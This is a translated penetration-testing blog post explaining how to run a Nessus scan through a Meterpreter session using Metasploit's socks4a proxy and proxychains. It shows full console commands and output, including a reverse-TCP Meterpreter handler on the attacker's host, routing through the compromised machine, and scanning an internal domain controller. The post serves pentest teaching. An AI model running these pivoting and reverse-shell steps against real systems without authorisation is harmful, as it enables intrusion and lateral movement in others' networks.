通过Meterpreter SOCKS代理实现Nessus扫描的技术指南

本文详细介绍了如何通过Meterpreter会话建立SOCKS4A代理隧道,在不安装额外工具的情况下实现Nessus扫描的技术方案,包括Metasploit模块配置、代理链设置和扫描结果导入数据库的全流程操作。

Nessus Through SOCKS Through Meterpreter

2010年10月24日

今年早些时候,Mark Baggett曾发表过一篇关于通过Meterpreter运行Nessus扫描的文章。该方法需要在受控机器上安装SSH服务器,然后将其作为SOCKS4代理转发扫描流量到目标机器(《通过Metasploit Meterpreter会话进行Nessus扫描》)。这是个很好的思路,但我倾向于避免在客户机器上安装工具,因此从未在实际测试中尝试。

最近Zate Berg将Nessus插件添加到Metasploit中,允许用户通过Metasploit命令行控制Nessus服务器。最初我未加思索地认为"太好了,现在可以通过Meterpreter pivot进行扫描了"。但仔细思考并阅读Carlos的文章《Metasploit的新Nessus插件》后,我意识到Nessus服务器仍然运行在攻击机上,无法访问隧道。

在多个邮件列表咨询后,egypt向我推荐了auxiliary/server/socks4a模块,该模块可以实现与SSH服务器相同的功能,但无需在受控机器上安装任何软件。经过一些测试、部分成功的扫描和更多列表咨询后,我最终通过Meterpreter pivot完成了扫描。关键点在于需要运行至少Ruby 1.9(我使用1.9.1),而不是最初尝试的1.8.7版本,否则代理会出现拥塞和锁死。

以下是实现扫描的具体步骤。涉及的主机包括:

  • 192.168.0.2 - 攻击机
  • 10.1.1.5 - 受控机器
  • 10.1.1.2 - 目标扫描机器

192网络到10网络之间没有正常路由,10.1.1.1处的路由器阻止了直接访问。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
robin@attacker metasploit $ ./msfconsole

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 31337
lport => 31337
msf exploit(handler) > set lhost 192.168.0.2
lhost => 192.168.0.2
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.2:31337
[*] Starting the payload handler...
msf exploit(handler) > [*] Sending stage (749056 bytes) to 192.168.0.80
[*] Meterpreter session 1 opened (192.168.0.2:31337 -> 192.168.0.80:24592) at 2010-10-22 10:38:18 +0100

msf exploit(handler) > route add 10.1.1.0 255.255.255.0 1
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server
msf auxiliary(socks4a) > 

检查隧道是否正常工作。选择一个你知道或预期在目标机器上开放的端口,对于Windows机器,SMB通常是个不错的选择。

1
2
3
4
root@attacker sbin # proxychains nc 10.1.1.2 445
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.1.1.2:445-<><>-OK
dummy...

在使用proxychains启动Nessus之前,需要修改proxychains配置(/etc/proxychains.conf)。在我的默认配置中,需要在末尾添加以下行:

1
socks4  127.0.0.1 1080

然后启动Nessus:

1
root@attacker sbin # proxychains ./nessus-service -D 

扫描需要很长时间,使用默认Nessus策略扫描受控机器花费了4242秒,接近一小时十五分钟。因此我为此类扫描创建了一个最小化策略。首先加载nessus模块,连接到它,检查策略,最后启动扫描。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
msf auxiliary(socks4a) > load nessus
[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus
msf auxiliary(socks4a) > nessus_connect robin@localhost
[+] Password:
...
[*] Connecting to https://localhost:8834/ as robin
[*] Authenticated
msf auxiliary(socks4a) > nessus_policy_list
[+] Nessus Policy List

ID  Name        Comments
--  ----        --------
4   Minimal MS
3   noping
2   Web
1   All

msf auxiliary(socks4a) > nessus_scan_new 4 "Quick Windows" 10.1.1.2
[*] Creating scan from policy number 4, called "Quick Windows" and scanning 10.1.1.2
[*] Scan started.  uid is 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
msf auxiliary(socks4a) > nessus_scan_status
[+] Running Scans

Scan ID                                               Name           Owner  Started            Status   Current Hosts  Total Hosts
-------                                               ----           -----  -------            ------   -------------  -----------
60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee  Quick Windows  robin  12:39 Oct 22 2010  running  0              1

[*] You can:
[+]             Import Nessus report to database :      nessus_report_get <reportid>
[+]             Pause a nessus scan :                   nessus_scan_pause <scanid>

现在需要长时间等待。可以使用nessus_scan_status检查状态。

扫描完成后,可以检查结果并将其加载到Metasploit数据库中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
msf auxiliary(socks4a) > db_connect msf.db

[-] It may work, but don't count on it
[*] Creating a new database file... 
[*] Successfully connected to the database
[*] File: msf.db                    

msf auxiliary(socks4a) >  nessus_report_get 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
[*] importing 60625093-5e0c-74a0-bc04-a35f19ffa65adb108fa286291aee
[*] 10.1.1.2   Done!                                           
[+] Done
msf auxiliary(socks4a) > db_hosts 

Hosts
=====

address        address6  arch  comm  comments  created_at               info  mac                name                          os_flavor  os_lang  os_name  os_sp  purpose  state  updated_at               svcs  vulns  workspace
-------        --------  ----  ----  --------  ----------               ----  ---                ----                          ---------  -------  -------  -----  -------  -----  ----------               ----  -----  ---------
10.1.1.2                                       2010-10-22 14:09:22 UTC        00:13:3b:04:03:52  CORP_DC                                                                    alive  2010-10-22 14:09:22 UTC  5     6      default

至此,我们成功通过Meterpreter pivot完成了完整的Nessus扫描,所有操作都在受控机器的内存中完成,实现了非常整洁的攻击方式。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计